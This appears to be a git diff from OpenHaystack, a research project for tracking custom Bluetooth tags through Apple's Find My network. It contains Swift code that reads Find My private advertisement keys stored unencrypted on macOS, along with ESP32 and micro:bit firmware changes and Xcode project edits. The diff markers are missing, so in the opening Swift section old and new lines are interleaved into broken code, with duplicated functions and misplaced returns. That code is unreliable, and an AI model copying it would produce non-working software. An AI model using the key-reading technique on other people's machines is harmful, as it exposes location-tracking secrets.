let privateKeysPath = fm.urls(for: .libraryDirectory, in: .userDomainMask)
.first?.appendingPathComponent(directoryPath)
let folders = try fm.contentsOfDirectory(
at: privateKeysPath!,
includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
guard folders.isEmpty == false else { throw FindMyError.noFoldersFound }
print("Found \(folders.count) folders")
var devices = [FindMyDevice]()
for folderURL in folders {
let keyFiles = try fm.contentsOfDirectory(
at: folderURL,
includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
// Check if keys are available
print("Found \(keyFiles.count) in folder \(folderURL.lastPathComponent)")
guard keyFiles.isEmpty == false else { continue }
var device = FindMyDevice(deviceId: folderURL.lastPathComponent)
for url in keyFiles {
do {
// The key files have moved with macOS 10.15.4
let macOS10_15_3Devices = try self.readFromOldLocation()
devices.append(contentsOf: macOS10_15_3Devices)
if url.pathExtension == "keys" {
let keyPlist = try Data(contentsOf: url)
let keyInfo = try self.parseKeyFile(keyFile: keyPlist)
device.keys.append(keyInfo)
}
} catch {
os_log(.error, "Did not find keys for 10.15.3\n%@", String(describing: error))
print("Could not load key file ", error)
}
do {
// Tries to discover the new location of the keys
let macOS10_15_4Devices = try self.findKeyFilesInNewLocation()
devices.append(contentsOf: macOS10_15_4Devices)
} catch {
os_log(.error, "Did not find keys for 10.15.4\n%@", String(describing: error))
}
}
return devices
devices.append(device)
}
// MARK: - macOS 10.15.0 - 10.15.3
return devices
}
/// Reads the find my keys from the location used until macOS 10.15.3
/// - Throws: An error if the location is no longer available (e.g. in macOS 10.15.4)
/// - Returns: An array of find my devices including their keys
static func readFromOldLocation() throws -> [FindMyDevice] {
// Access the find my directory where the private advertisement keys are stored unencrypted
let directoryPath = "com.apple.icloud.searchpartyd/PrivateAdvertisementKeys/"
let fm = FileManager.default
let privateKeysPath = fm.urls(for: .libraryDirectory, in: .userDomainMask)
.first?.appendingPathComponent(directoryPath)
let folders = try fm.contentsOfDirectory(at: privateKeysPath!,
includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
guard folders.isEmpty == false else {throw FindMyError.noFoldersFound}
print("Found \(folders.count) folders")
var devices = [FindMyDevice]()
for folderURL in folders {
let keyFiles = try fm.contentsOfDirectory(at: folderURL,
includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
// Check if keys are available
print("Found \(keyFiles.count) in folder \(folderURL.lastPathComponent)")
guard keyFiles.isEmpty == false else {continue}
var device = FindMyDevice(deviceId: folderURL.lastPathComponent)
for url in keyFiles {
do {
if url.pathExtension == "keys" {
let keyPlist = try Data(contentsOf: url)
let keyInfo = try self.parseKeyFile(keyFile: keyPlist)
device.keys.append(keyInfo)
}
} catch {
print("Could not load key file ", error)
}
}
devices.append(device)
}
return devices
/// Parses the key plist file used until macOS 10.15.3
/// - Parameter keyFile: Propery list data
/// - Returns: Find My private Key
static func parseKeyFile(keyFile: Data) throws -> FindMyKey {
guard
let keyDict = try PropertyListSerialization.propertyList(
from: keyFile,
options: .init(), format: nil) as? [String: Any],
let advertisedKey = keyDict["A"] as? Data,
let privateKey = keyDict["PR"] as? Data,
let timeValues = keyDict["D"] as? [Double],
let pu = keyDict["PU"] as? Data
else {
throw FindMyError.parsingFailed
}
/// Parses the key plist file used until macOS 10.15.3
/// - Parameter keyFile: Propery list data
/// - Returns: Find My private Key
static func parseKeyFile(keyFile: Data) throws -> FindMyKey {
guard let keyDict = try PropertyListSerialization.propertyList(from: keyFile,
options: .init(), format: nil) as? [String: Any],
let advertisedKey = keyDict["A"] as? Data,
let privateKey = keyDict["PR"] as? Data,
let timeValues = keyDict["D"] as? [Double],
let pu = keyDict["PU"] as? Data
else {
throw FindMyError.parsingFailed
}
let hashedKeyDigest = SHA256.hash(data: advertisedKey)
let hashedKey = Data(hashedKeyDigest)
let time = Date(timeIntervalSinceReferenceDate: timeValues[0])
let duration = timeValues[1]
let hashedKeyDigest = SHA256.hash(data: advertisedKey)
let hashedKey = Data(hashedKeyDigest)
let time = Date(timeIntervalSinceReferenceDate: timeValues[0])
let duration = timeValues[1]
return FindMyKey(
advertisedKey: advertisedKey,
hashedKey: hashedKey,
privateKey: privateKey,
startTime: time,
duration: duration,
pu: pu,
yCoordinate: nil,
fullKey: nil)
}
return FindMyKey(advertisedKey: advertisedKey,
hashedKey: hashedKey,
privateKey: privateKey,
startTime: time,
duration: duration,
pu: pu,
yCoordinate: nil,
fullKey: nil)
}
// MARK: - macOS 10.15.4 - 10.15.6 (+ Big Sur 11.0 Betas)
// MARK: - macOS 10.15.4 - 10.15.6 (+ Big Sur 11.0 Betas)
/// Find the randomized key folder which is used since macOS 10.15.4
/// - Returns: Returns an array of urls that contain keys. Multiple folders are found if the mac has multiple users
static func findRamdomKeyFolder() -> [URL] {
os_log(.debug, "Searching for cached keys folder")
var folderURLs = [URL]()
let foldersPath = "/private/var/folders/"
let fm = FileManager.default
/// Find the randomized key folder which is used since macOS 10.15.4
/// - Returns: Returns an array of urls that contain keys. Multiple folders are found if the mac has multiple users
static func findRamdomKeyFolder() -> [URL] {
os_log(.debug, "Searching for cached keys folder")
var folderURLs = [URL]()
let foldersPath = "/private/var/folders/"
let fm = FileManager.default
func recursiveSearch(from url: URL, urlArray: inout [URL]) {
do {
let randomSubfolders = try fm.contentsOfDirectory(at: url,
includingPropertiesForKeys: nil,
options: .includesDirectoriesPostOrder)
for folder in randomSubfolders {
if folder.lastPathComponent == "com.apple.icloud.searchpartyd" {
urlArray.append(folder.appendingPathComponent("Keys"))
os_log(.debug, "Found folder at: %@", folder.path)
break
} else {
recursiveSearch(from: folder, urlArray: &urlArray)
}
}
} catch {
}
func recursiveSearch(from url: URL, urlArray: inout [URL]) {
do {
let randomSubfolders = try fm.contentsOfDirectory(
at: url,
includingPropertiesForKeys: nil,
options: .includesDirectoriesPostOrder)
for folder in randomSubfolders {
if folder.lastPathComponent == "com.apple.icloud.searchpartyd" {
urlArray.append(folder.appendingPathComponent("Keys"))
os_log(.debug, "Found folder at: %@", folder.path)
break
} else {
recursiveSearch(from: folder, urlArray: &urlArray)
}
}
recursiveSearch(from: URL(fileURLWithPath: foldersPath), urlArray: &folderURLs)
} catch {
return folderURLs
}
}
/// Find the key files in macOS 10.15.4 and newer (not working with fixed version 10.15.6)
/// - Throws: An error if the key folder cannot be fould
/// - Returns: An array of devices including their keys
static func findKeyFilesInNewLocation() throws -> [FindMyDevice] {
let keysFolders = self.findRamdomKeyFolder()
guard keysFolders.isEmpty == false else {
throw NSError(domain: "error", code: NSNotFound, userInfo: nil)
}
recursiveSearch(from: URL(fileURLWithPath: foldersPath), urlArray: &folderURLs)
var devices = [FindMyDevice]()
for folder in keysFolders {
if let deviceKeys = try? self.loadNewKeyFilesIn(directory: folder) {
devices.append(contentsOf: deviceKeys)
}
}
return folderURLs
return devices
}
/// Find the key files in macOS 10.15.4 and newer (not working with fixed version 10.15.6)
/// - Throws: An error if the key folder cannot be fould
/// - Returns: An array of devices including their keys
static func findKeyFilesInNewLocation() throws -> [FindMyDevice] {
let keysFolders = self.findRamdomKeyFolder()
guard keysFolders.isEmpty == false else {
throw NSError(domain: "error", code: NSNotFound, userInfo: nil)
}
/// Load the keys fils in the passed directory
/// - Parameter directory: Pass a directory url to a location with key files
/// - Throws: An error if the keys could not be found
/// - Returns: An array of devices including their keys
static func loadNewKeyFilesIn(directory: URL) throws -> [FindMyDevice] {
os_log(.debug, "Loading key files from %@", directory.path)
let fm = FileManager.default
let subDirectories = try fm.contentsOfDirectory(at: directory,
includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
var devices = [FindMyDevice]()
for folder in keysFolders {
if let deviceKeys = try? self.loadNewKeyFilesIn(directory: folder) {
devices.append(contentsOf: deviceKeys)
}
}
var devices = [FindMyDevice]()
return devices
}
for deviceDirectory in subDirectories {
do {
var keyFiles = [Data]()
let keyDirectory = deviceDirectory.appendingPathComponent("Primary")
let keyFileURLs = try fm.contentsOfDirectory(at: keyDirectory,
includingPropertiesForKeys: nil,
options: .skipsHiddenFiles)
for keyfileURL in keyFileURLs {
// Read the key files
let keyFile = try Data(contentsOf: keyfileURL)
if keyFile.isEmpty == false {
keyFiles.append(keyFile)
}
}
/// Load the keys fils in the passed directory
/// - Parameter directory: Pass a directory url to a location with key files
/// - Throws: An error if the keys could not be found
/// - Returns: An array of devices including their keys
static func loadNewKeyFilesIn(directory: URL) throws -> [FindMyDevice] {
os_log(.debug, "Loading key files from %@", directory.path)
let fm = FileManager.default
let subDirectories = try fm.contentsOfDirectory(
at: directory,
includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
// Decode keys for file
let decoder = FindMyKeyDecoder()
var decodedKeys = [FindMyKey]()
for file in keyFiles {
do {
let fmKeys = try decoder.parse(keyFile: file)
decodedKeys.append(contentsOf: fmKeys)
} catch {
os_log(.error, "Decoding keys failed %@", error.localizedDescription)
}
}
var devices = [FindMyDevice]()
let device = FindMyDevice(deviceId: deviceDirectory.lastPathComponent, keys: decodedKeys)
devices.append(device)
} catch {
os_log(.error, "Key directory not found %@", error.localizedDescription)
}
for deviceDirectory in subDirectories {
do {
var keyFiles = [Data]()
let keyDirectory = deviceDirectory.appendingPathComponent("Primary")
let keyFileURLs = try fm.contentsOfDirectory(
at: keyDirectory,
includingPropertiesForKeys: nil,
options: .skipsHiddenFiles)
for keyfileURL in keyFileURLs {
// Read the key files
let keyFile = try Data(contentsOf: keyfileURL)
if keyFile.isEmpty == false {
keyFiles.append(keyFile)
}
}
return devices
// Decode keys for file
let decoder = FindMyKeyDecoder()
var decodedKeys = [FindMyKey]()
for file in keyFiles {
do {
let fmKeys = try decoder.parse(keyFile: file)
decodedKeys.append(contentsOf: fmKeys)
} catch {
os_log(.error, "Decoding keys failed %@", error.localizedDescription)
}
}
let device = FindMyDevice(deviceId: deviceDirectory.lastPathComponent, keys: decodedKeys)
devices.append(device)
} catch {
os_log(.error, "Key directory not found %@", error.localizedDescription)
}
}
return devices
}
}

View File

@@ -7,38 +7,38 @@
// SPDX-License-Identifier: AGPL-3.0-only
//
import Foundation
import Combine
import CryptoKit
import Foundation
struct FindMyDevice: Codable {
let deviceId: String
var keys = [FindMyKey]()
let deviceId: String
var keys = [FindMyKey]()
}
struct FindMyKey: Codable {
/// The advertising key
let advertisedKey: Data
/// Hashed advertisement key using SHA256
let hashedKey: Data
/// The private key from which the advertisement keys can be derived
let privateKey: Data
/// When this key was used to send out BLE advertisements
let startTime: Date?
/// Duration from start time how long the key has been used to send out BLE advertisements
let duration: Double?
/// The advertising key
let advertisedKey: Data
/// Hashed advertisement key using SHA256
let hashedKey: Data
/// The private key from which the advertisement keys can be derived
let privateKey: Data
/// When this key was used to send out BLE advertisements
let startTime: Date?
/// Duration from start time how long the key has been used to send out BLE advertisements
let duration: Double?
// swiftlint:disable identifier_name
/// ?
let pu: Data?
// swiftlint:disable identifier_name
/// ?
let pu: Data?
/// As exported from Big Sur
let yCoordinate: Data?
/// As exported from BigSur
let fullKey: Data?
/// As exported from Big Sur
let yCoordinate: Data?
/// As exported from BigSur
let fullKey: Data?
}
enum FindMyError: Error {
case noFoldersFound
case parsingFailed
case noFoldersFound
case parsingFailed
}

View File

@@ -7,40 +7,41 @@
// SPDX-License-Identifier: AGPL-3.0-only
//
import Foundation
import AppKit
import Foundation
class SavePanel: NSObject, NSOpenSavePanelDelegate {
static let shared = SavePanel()
static let shared = SavePanel()
var fileToSave: Data?
var fileExtension: String?
var panel: NSSavePanel?
var fileToSave: Data?
var fileExtension: String?
var panel: NSSavePanel?
func saveFile(file: Data, fileExtension: String) {
self.fileToSave = file
self.fileExtension = fileExtension
func saveFile(file: Data, fileExtension: String) {
self.fileToSave = file
self.fileExtension = fileExtension
self.panel = NSSavePanel()
self.panel?.delegate = self
self.panel?.title = "Export Find My Keys"
self.panel?.prompt = "Export"
self.panel?.nameFieldLabel = "Offline Keys Plist"
self.panel?.nameFieldStringValue = "OfflineFindingKeys.plist"
self.panel?.allowedFileTypes = ["plist"]
self.panel = NSSavePanel()
self.panel?.delegate = self
self.panel?.title = "Export Find My Keys"
self.panel?.prompt = "Export"
self.panel?.nameFieldLabel = "Offline Keys Plist"
self.panel?.nameFieldStringValue = "OfflineFindingKeys.plist"
self.panel?.allowedFileTypes = ["plist"]
self.panel?.begin(completionHandler: { (response) in
if response == .OK {
// Save the file in a cache directory
let fileURL = self.panel?.url
try? self.fileToSave?.write(to: fileURL!)
}
})
self.panel?.begin(completionHandler: { (response) in
if response == .OK {
// Save the file in a cache directory
let fileURL = self.panel?.url
try? self.fileToSave?.write(to: fileURL!)
}
})
}
}
func panel(_ sender: Any, userEnteredFilename filename: String, confirmed okFlag: Bool) -> String? {
return filename
}
func panel(_ sender: Any, userEnteredFilename filename: String, confirmed okFlag: Bool) -> String?
{
return filename
}
}

3
Firmware/ESP32/.vscode/settings.json vendored Normal file
View File

@@ -0,0 +1,3 @@
{
"idf.port": "/dev/cu.usbserial-0001"
}

View File

@@ -36,7 +36,7 @@ These files are required for the next step: Deploy the firmware.
Use the `flash_esp32.sh` script to deploy the firmware and a public key to an ESP32 device connected to your local machine:
```bash
./flash_esp32.sh -p /dev/yourSerialPort "public-key-in-base64"
./flash_esp32.sh -p /dev/yourSerialPort "Base64-encoded advertisement key"
```
> **Note:** You might need to reset your device after running the script before it starts sending advertisements.

View File

@@ -1,5 +1,10 @@
#!/bin/bash
cleanup() {
echo "cleanup ..."
rm "$KEYFILE"
}
# Directory of this script
SCRIPT_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )"
@@ -127,13 +132,13 @@ fi
# Call esptool.py. Errors from here on are critical
set -e
trap cleanup INT TERM EXIT
# Clear NVM
esptool.py --after no_reset \
esptool.py --after no_reset --port "$PORT" \
erase_region 0x9000 0x5000
esptool.py --before no_reset --baud $BAUDRATE \
esptool.py --before no_reset --baud $BAUDRATE --port "$PORT" \
write_flash 0x1000 "$SCRIPT_DIR/build/bootloader/bootloader.bin" \
0x8000 "$SCRIPT_DIR/build/partition_table/partition-table.bin" \
0xe000 "$KEYFILE" \
0x10000 "$SCRIPT_DIR/build/openhaystack.bin"
rm "$KEYFILE"

View File

@@ -43,12 +43,12 @@ static esp_ble_adv_params_t ble_adv_params = {
// Minimum advertising interval for undirected and low duty cycle
// directed advertising. Range: 0x0020 to 0x4000 Default: N = 0x0800
// (1.28 second) Time = N * 0.625 msec Time Range: 20 ms to 10.24 sec
.adv_int_min = 0x00A0, // 100ms
.adv_int_min = 0x0640, // 1s
// Advertising max interval:
// Maximum advertising interval for undirected and low duty cycle
// directed advertising. Range: 0x0020 to 0x4000 Default: N = 0x0800
// (1.28 second) Time = N * 0.625 msec Time Range: 20 ms to 10.24 sec
.adv_int_max = 0x0140, // 200ms
.adv_int_max = 0x0C80, // 2s
// Advertisement type
.adv_type = ADV_TYPE_NONCONN_IND,
// Use the random address

View File

@@ -1,7 +1,7 @@
PLATFORM := nRF51822
NRF51_SDK_PATH := $(shell pwd)/nrf51_sdk_v4_4_2_33551
NRF51_SDK_DOWNLOAD_URL := https://developer.nordicsemi.com/nRF5_SDK/nRF51_SDK_v4.x.x/nrf51_sdk_v4_4_2_33551.zip
OPENHAYSTACK_FIRMWARE_PATH := $(shell pwd)/../OpenHaystack/OpenHaystack/HaystackApp/firmware.bin
OPENHAYSTACK_FIRMWARE_PATH := $(shell pwd)/../../OpenHaystack/OpenHaystack/HaystackApp/Firmwares/Microbit/firmware.bin
export PLATFORM
export NRF51_SDK_PATH
@@ -10,7 +10,7 @@ ifeq ($(DEPLOY_PATH),)
DEPLOY_PATH := /Volumes/MICROBIT
endif
offline-finding/build/offline-finding.bin: $(NRF51_SDK_PATH) blessed/.git
offline-finding/build/offline-finding.bin: $(NRF51_SDK_PATH) blessed/.git offline-finding/main.c
$(MAKE) -C blessed
$(MAKE) -C offline-finding

View File

@@ -15,7 +15,7 @@
#include "ll.h"
#define ADV_INTERVAL LL_ADV_INTERVAL_MIN_NONCONN /* 100 ms */
#define ADV_INTERVAL 2000000 /* 2 s */
/* don't make `const` so we can replace key in compiled binary image */
static char public_key[28] = "OFFLINEFINDINGPUBLICKEYHERE!";

View File

@@ -3,10 +3,14 @@
archiveVersion = 1;
classes = {
};
objectVersion = 52;
objectVersion = 54;
objects = {
/* Begin PBXBuildFile section */
5A2C9089273425720044407E /* NRF in Resources */ = {isa = PBXBuildFile; fileRef = 5A2C9088273425720044407E /* NRF */; };
5A2C908B2734266A0044407E /* DataToHexExtension.swift in Sources */ = {isa = PBXBuildFile; fileRef = 5A2C908A2734266A0044407E /* DataToHexExtension.swift */; };
5A2C908D273429360044407E /* NRFController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 5A2C908C273429360044407E /* NRFController.swift */; };
5A2C908F273429540044407E /* NRFInstallSheet.swift in Sources */ = {isa = PBXBuildFile; fileRef = 5A2C908E273429540044407E /* NRFInstallSheet.swift */; };
78014A2925DC08580089F6D9 /* MicrobitController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78014A2725DC01220089F6D9 /* MicrobitController.swift */; };
78014A2B25DC22120089F6D9 /* sample.bin in Resources */ = {isa = PBXBuildFile; fileRef = 78014A2A25DC22110089F6D9 /* sample.bin */; };
78014A2F25DC2F100089F6D9 /* pattern_sample.bin in Resources */ = {isa = PBXBuildFile; fileRef = 78014A2E25DC2F100089F6D9 /* pattern_sample.bin */; };
@@ -29,6 +33,8 @@
781EB43125DADF2B00FEAA19 /* AnisetteDataManager.swift in Sources */ = {isa = PBXBuildFile; fileRef = 781EB40F25DADB0600FEAA19 /* AnisetteDataManager.swift */; };
7821DAD125F7B2C10054DC33 /* FileManager.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7821DAD025F7B2C10054DC33 /* FileManager.swift */; };
7821DAD325F7C39A0054DC33 /* ESP32InstallSheet.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7821DAD225F7C39A0054DC33 /* ESP32InstallSheet.swift */; };
782853C22755103A00B18EDE /* UpdateCheckController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 782853C12755103A00B18EDE /* UpdateCheckController.swift */; };
782853C427551B4400B18EDE /* UpdateCheckTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = 782853C327551B4400B18EDE /* UpdateCheckTests.swift */; };
78286CB225E3ACE700F65511 /* OpenHaystackPluginService.m in Sources */ = {isa = PBXBuildFile; fileRef = 78286CAF25E3ACE700F65511 /* OpenHaystackPluginService.m */; };
78286D1F25E3D8B800F65511 /* ALTAnisetteData.m in Sources */ = {isa = PBXBuildFile; fileRef = 78286CB025E3ACE700F65511 /* ALTAnisetteData.m */; };
78286D2A25E3EC3200F65511 /* AppleAccountData.m in Sources */ = {isa = PBXBuildFile; fileRef = 78286D2925E3EC3200F65511 /* AppleAccountData.m */; };
@@ -51,6 +57,8 @@
78EC226C25DBC2E40042B775 /* OpenHaystackMainView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC226B25DBC2E40042B775 /* OpenHaystackMainView.swift */; };
78EC227225DBC8CE0042B775 /* Accessory.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC227125DBC8CE0042B775 /* Accessory.swift */; };
78EC227725DBDB7E0042B775 /* KeychainController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC227625DBDB7E0042B775 /* KeychainController.swift */; };
78F8BB4C261C50EB00D9F37F /* LargeButtonStyle.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78F8BB4B261C50EB00D9F37F /* LargeButtonStyle.swift */; };
9ED440A02C1605EF002574D1 /* OpenHaystackSettingsView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 9ED4409F2C1605EF002574D1 /* OpenHaystackSettingsView.swift */; };
F126102F2600D1D80066A859 /* Slider+LogScale.swift in Sources */ = {isa = PBXBuildFile; fileRef = F126102E2600D1D80066A859 /* Slider+LogScale.swift */; };
F12D5A5A25FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift in Sources */ = {isa = PBXBuildFile; fileRef = F12D5A5925FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift */; };
F12D5A6025FA79FA00CBBA09 /* Advertisement.swift in Sources */ = {isa = PBXBuildFile; fileRef = F12D5A5F25FA79FA00CBBA09 /* Advertisement.swift */; };
@@ -107,6 +115,10 @@
025DFEDB248FED250039C718 /* DecryptReports.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = DecryptReports.swift; sourceTree = "<group>"; };
0298C0C8248F9506003928FE /* AuthKit.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = AuthKit.framework; path = ../../../../../../../../../../System/Library/PrivateFrameworks/AuthKit.framework; sourceTree = "<group>"; };
116B4EEC24A913AA007BA636 /* SavePanel.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = SavePanel.swift; sourceTree = "<group>"; };
5A2C9088273425720044407E /* NRF */ = {isa = PBXFileReference; lastKnownFileType = folder; path = NRF; sourceTree = "<group>"; };
5A2C908A2734266A0044407E /* DataToHexExtension.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = DataToHexExtension.swift; sourceTree = "<group>"; };
5A2C908C273429360044407E /* NRFController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = NRFController.swift; sourceTree = "<group>"; };
5A2C908E273429540044407E /* NRFInstallSheet.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = NRFInstallSheet.swift; sourceTree = "<group>"; };
78014A2725DC01220089F6D9 /* MicrobitController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = MicrobitController.swift; sourceTree = "<group>"; };
78014A2A25DC22110089F6D9 /* sample.bin */ = {isa = PBXFileReference; lastKnownFileType = archive.macbinary; path = sample.bin; sourceTree = "<group>"; };
78014A2E25DC2F100089F6D9 /* pattern_sample.bin */ = {isa = PBXFileReference; lastKnownFileType = archive.macbinary; path = pattern_sample.bin; sourceTree = "<group>"; };
@@ -126,6 +138,8 @@
781EB40F25DADB0600FEAA19 /* AnisetteDataManager.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AnisetteDataManager.swift; sourceTree = "<group>"; };
7821DAD025F7B2C10054DC33 /* FileManager.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = FileManager.swift; sourceTree = "<group>"; };
7821DAD225F7C39A0054DC33 /* ESP32InstallSheet.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ESP32InstallSheet.swift; sourceTree = "<group>"; };
782853C12755103A00B18EDE /* UpdateCheckController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = UpdateCheckController.swift; sourceTree = "<group>"; };
782853C327551B4400B18EDE /* UpdateCheckTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = UpdateCheckTests.swift; sourceTree = "<group>"; };
78286C8E25E3AC0400F65511 /* OpenHaystackMail.mailbundle */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = OpenHaystackMail.mailbundle; sourceTree = BUILT_PRODUCTS_DIR; };
78286C9025E3AC0400F65511 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
78286CAE25E3ACE700F65511 /* OpenHaystackPluginService.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = OpenHaystackPluginService.h; sourceTree = "<group>"; };
@@ -155,6 +169,8 @@
78EC226B25DBC2E40042B775 /* OpenHaystackMainView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = OpenHaystackMainView.swift; sourceTree = "<group>"; };
78EC227125DBC8CE0042B775 /* Accessory.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Accessory.swift; sourceTree = "<group>"; };
78EC227625DBDB7E0042B775 /* KeychainController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = KeychainController.swift; sourceTree = "<group>"; };
78F8BB4B261C50EB00D9F37F /* LargeButtonStyle.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = LargeButtonStyle.swift; sourceTree = "<group>"; };
9ED4409F2C1605EF002574D1 /* OpenHaystackSettingsView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = OpenHaystackSettingsView.swift; sourceTree = "<group>"; };
F126102E2600D1D80066A859 /* Slider+LogScale.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = "Slider+LogScale.swift"; sourceTree = "<group>"; };
F12D5A5925FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = BluetoothAccessoryScanner.swift; sourceTree = "<group>"; };
F12D5A5F25FA79FA00CBBA09 /* Advertisement.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Advertisement.swift; sourceTree = "<group>"; };
@@ -201,6 +217,7 @@
78023CAC25F7775300B083EF /* Firmwares */ = {
isa = PBXGroup;
children = (
5A2C9088273425720044407E /* NRF */,
78023CAE25F7797400B083EF /* ESP32 */,
78023CAD25F7775A00B083EF /* Microbit */,
);
@@ -326,6 +343,7 @@
78EC226525DAE0BE0042B775 /* Info.plist */,
78023CB025F7841F00B083EF /* MicrocontrollerTests.swift */,
F1647C1525FF6C61004144D6 /* BluetoothTests.swift */,
782853C327551B4400B18EDE /* UpdateCheckTests.swift */,
);
path = OpenHaystackTests;
sourceTree = "<group>";
@@ -344,6 +362,9 @@
78023CAA25F7767000B083EF /* ESP32Controller.swift */,
7821DAD025F7B2C10054DC33 /* FileManager.swift */,
F1647C1A25FF7954004144D6 /* AccessoryNearbyMonitor.swift */,
5A2C908A2734266A0044407E /* DataToHexExtension.swift */,
5A2C908C273429360044407E /* NRFController.swift */,
782853C12755103A00B18EDE /* UpdateCheckController.swift */,
);
path = HaystackApp;
sourceTree = "<group>";
@@ -360,6 +381,8 @@
78EC227025DBC8BB0042B775 /* Views */ = {
isa = PBXGroup;
children = (
78F8BB4A261C50D500D9F37F /* Styles */,
9ED4409F2C1605EF002574D1 /* OpenHaystackSettingsView.swift */,
78286D7625E5114600F65511 /* ActivityIndicator.swift */,
78EC226B25DBC2E40042B775 /* OpenHaystackMainView.swift */,
78486BEE25DD711E0007ED87 /* PopUpAlertView.swift */,
@@ -370,10 +393,19 @@
7821DAD225F7C39A0054DC33 /* ESP32InstallSheet.swift */,
78D9B80525F7CF60009B9CE8 /* ManageAccessoriesView.swift */,
F126102E2600D1D80066A859 /* Slider+LogScale.swift */,
5A2C908E273429540044407E /* NRFInstallSheet.swift */,
);
path = Views;
sourceTree = "<group>";
};
78F8BB4A261C50D500D9F37F /* Styles */ = {
isa = PBXGroup;
children = (
78F8BB4B261C50EB00D9F37F /* LargeButtonStyle.swift */,
);
path = Styles;
sourceTree = "<group>";
};
F12D5A5E25FA79D600CBBA09 /* Bluetooth */ = {
isa = PBXGroup;
children = (
@@ -499,6 +531,7 @@
78023CAF25F7797400B083EF /* ESP32 in Resources */,
7899D1D625DE74EE00115740 /* firmware.bin in Resources */,
781EB3FE25DAD7EA00FEAA19 /* MapViewController.xib in Resources */,
5A2C9089273425720044407E /* NRF in Resources */,
781EB40025DAD7EA00FEAA19 /* Preview Assets.xcassets in Resources */,
781EB40225DAD7EA00FEAA19 /* Assets.xcassets in Resources */,
);
@@ -541,7 +574,7 @@
);
runOnlyForDeploymentPostprocessing = 0;
shellPath = /bin/sh;
shellScript = "if command -v swift-format >/dev/null; then\n swift-format lint -r \"$SRCROOT\"\nelse\n echo \"warning: swift-format not installed, download from https://github.com/apple/swift-format\"\nfi\n";
shellScript = "if command -v swift-format >/dev/null; then\n swift-format format -i -r \"$SRCROOT\"; swift-format lint -r \"$SRCROOT\"\nelse\n echo \"warning: swift-format not installed, download from https://github.com/apple/swift-format\"\nfi\n";
};
F14B2C7E25EFBB11002DC056 /* Set Version Number from Git */ = {
isa = PBXShellScriptBuildPhase;
@@ -586,6 +619,7 @@
isa = PBXSourcesBuildPhase;
buildActionMask = 2147483647;
files = (
5A2C908D273429360044407E /* NRFController.swift in Sources */,
781EB43125DADF2B00FEAA19 /* AnisetteDataManager.swift in Sources */,
7851F1DD25EE90FA0049480D /* AccessoryMapView.swift in Sources */,
7899D1E925DEBF4900115740 /* AccessoryMapAnnotation.swift in Sources */,
@@ -594,6 +628,7 @@
78286D8C25E5355B00F65511 /* PreviewData.swift in Sources */,
781EB3EB25DAD7EA00FEAA19 /* SavePanel.swift in Sources */,
7899D1E125DE97E200115740 /* IconSelectionView.swift in Sources */,
5A2C908F273429540044407E /* NRFInstallSheet.swift in Sources */,
78EC227725DBDB7E0042B775 /* KeychainController.swift in Sources */,
78D9B80625F7CF60009B9CE8 /* ManageAccessoriesView.swift in Sources */,
78486BEF25DD711E0007ED87 /* PopUpAlertView.swift in Sources */,
@@ -603,6 +638,7 @@
78286D1F25E3D8B800F65511 /* ALTAnisetteData.m in Sources */,
781EB3EC25DAD7EA00FEAA19 /* DecryptReports.swift in Sources */,
78EC226C25DBC2E40042B775 /* OpenHaystackMainView.swift in Sources */,
5A2C908B2734266A0044407E /* DataToHexExtension.swift in Sources */,
78EC227225DBC8CE0042B775 /* Accessory.swift in Sources */,
7821DAD125F7B2C10054DC33 /* FileManager.swift in Sources */,
78286E0225E66F9400F65511 /* AccessoryListEntry.swift in Sources */,
@@ -611,12 +647,15 @@
7821DAD325F7C39A0054DC33 /* ESP32InstallSheet.swift in Sources */,
781EB3F125DAD7EA00FEAA19 /* FindMyKeyDecoder.swift in Sources */,
